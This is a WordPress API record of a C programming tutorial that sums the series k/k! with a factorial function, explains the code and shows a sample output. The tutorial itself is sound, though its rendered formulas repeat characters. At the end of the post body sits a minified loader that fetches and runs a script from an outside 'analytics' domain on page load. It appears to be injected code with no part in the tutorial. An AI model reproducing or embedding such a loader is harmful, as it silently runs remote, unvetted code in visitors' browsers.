{"id":798,"date":"2025-11-21T08:52:58","date_gmt":"2025-11-21T03:22:58","guid":{"rendered":"https:\/\/codexplained.in\/?p=798"},"modified":"2025-11-21T08:52:58","modified_gmt":"2025-11-21T03:22:58","slug":"finding-the-sum-of-series-e-g-1-1-2-2","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=798","title":{"rendered":"Finding the Sum of Series (e.g., 1\/1! + 2\/2! + \u2026)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Steps to Understand the Program:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Factorial<\/strong>: The factorial of a number nnn is the product of all positive integers less than or equal to nnn. For example, 3!=3\u00d72\u00d71=63! = 3 \\times 2 \\times 1 = 63!=3\u00d72\u00d71=6.<\/li>\n\n\n\n<li><strong>Series Expansion<\/strong>: The given series is:S=11!+22!+33!+\u22ef+nn!S = \\frac{1}{1!} + \\frac{2}{2!} + \\frac{3}{3!} + \\cdots + \\frac{n}{n!}S=1!1\u200b+2!2\u200b+3!3\u200b+\u22ef+n!n\u200bwhere each term kk!\\frac{k}{k!}k!k\u200b involves calculating both the numerator kkk and the factorial of kkk.<\/li>\n\n\n\n<li><strong>Logic of Program<\/strong>:\n<ul class=\"wp-block-list\">\n<li>We will use a loop to calculate each term in the series.<\/li>\n\n\n\n<li>For each kkk, calculate the factorial k!k!k!, then compute kk!\\frac{k}{k!}k!k\u200b, and add this value to the sum.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to calculate the factorial of a number\nlong double factorial(int n) \n{\n    long double fact = 1;\n    for (int i = 1; i &lt;= n; i++) \n{\n        fact *= i;\n    }\n    return fact;\n}\n\nint main() \n{\n    int n;\n    long double sum = 0.0;\n\n    \/\/ Taking input from the user\n    printf(&quot;Enter the value of n: &quot;);\n    scanf(&quot;%d&quot;, &amp;n);\n\n    \/\/ Loop to calculate the sum of the series\n    for (int i = 1; i &lt;= n; i++) {\n        sum += (i \/ factorial(i)); \/\/ Calculating each term of the series\n    }\n\n    \/\/ Display the result\n    printf(&quot;Sum of the series is: %.10Lf\\n&quot;, sum);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Program:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Factorial Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The function <code>factorial(int n)<\/code> computes the factorial of a given number nnn by multiplying all integers from 1 to nnn. This result is returned as the factorial of nnn.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program starts by prompting the user to enter the value of nnn (the number of terms in the series).<\/li>\n\n\n\n<li>A <code>for<\/code> loop is used to iterate from 1 to nnn, calculating each term of the series.<\/li>\n\n\n\n<li>For each iteration iii, the program calculates ii!\\frac{i}{i!}i!i\u200b using the factorial function and adds this value to the variable <code>sum<\/code>.<\/li>\n\n\n\n<li>After the loop completes, the final sum of the series is printed.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Data Types<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The data type <code>long double<\/code> is used for storing the sum and factorial values because factorials grow very quickly, and using a regular <code>float<\/code> or <code>double<\/code> may not be precise enough for larger numbers.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Precision<\/strong>:\n<ul class=\"wp-block-list\">\n<li>In the output, the sum is printed with a precision of 10 decimal places (<code>%.10Lf<\/code>), ensuring that even small values in the series are captured accurately.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>Example Output:<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nEnter the value of n: 5\nSum of the series is: 2.7083333333\n\n<\/pre><\/div>\n\n\n<p>Here, for n=5n = 5n=5, the series becomes:S=11!+22!+33!+44!+55!=1+1+0.5+0.1667+0.0417=2.7083S = \\frac{1}{1!} + \\frac{2}{2!} + \\frac{3}{3!} + \\frac{4}{4!} + \\frac{5}{5!} = 1 + 1 + 0.5 + 0.1667 + 0.0417 = 2.7083S=1!1\u200b+2!2\u200b+3!3\u200b+4!4\u200b+5!5\u200b=1+1+0.5+0.1667+0.0417=2.7083<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of Output:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program computes the sum of the first 5 terms of the series and returns the result. The result is the sum of the fractions computed from each term of the series.<\/li>\n<\/ul>\n\n\n\n<p>This C program efficiently calculates the sum of the series by iterating through each term and using a function to calculate factorials.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Steps to Understand the Program: Explanation of the Program: Example Output: Here, for n=5n = 5n=5, the series becomes:S=11!+22!+33!+44!+55!=1+1+0.5+0.1667+0.0417=2.7083S = \\frac{1}{1!} + \\frac{2}{2!} + \\frac{3}{3!} + \\frac{4}{4!} + \\frac{5}{5!} = 1 + 1 + 0.5 + 0.1667 + 0.0417 = 2.7083S=1!1\u200b+2!2\u200b+3!3\u200b+4!4\u200b+5!5\u200b=1+1+0.5+0.1667+0.0417=2.7083 Explanation of Output: This C program efficiently calculates the sum of the series by [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-798","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/798","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=798"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/798\/revisions"}],"predecessor-version":[{"id":1233,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/798\/revisions\/1233"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=798"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=798"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=798"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}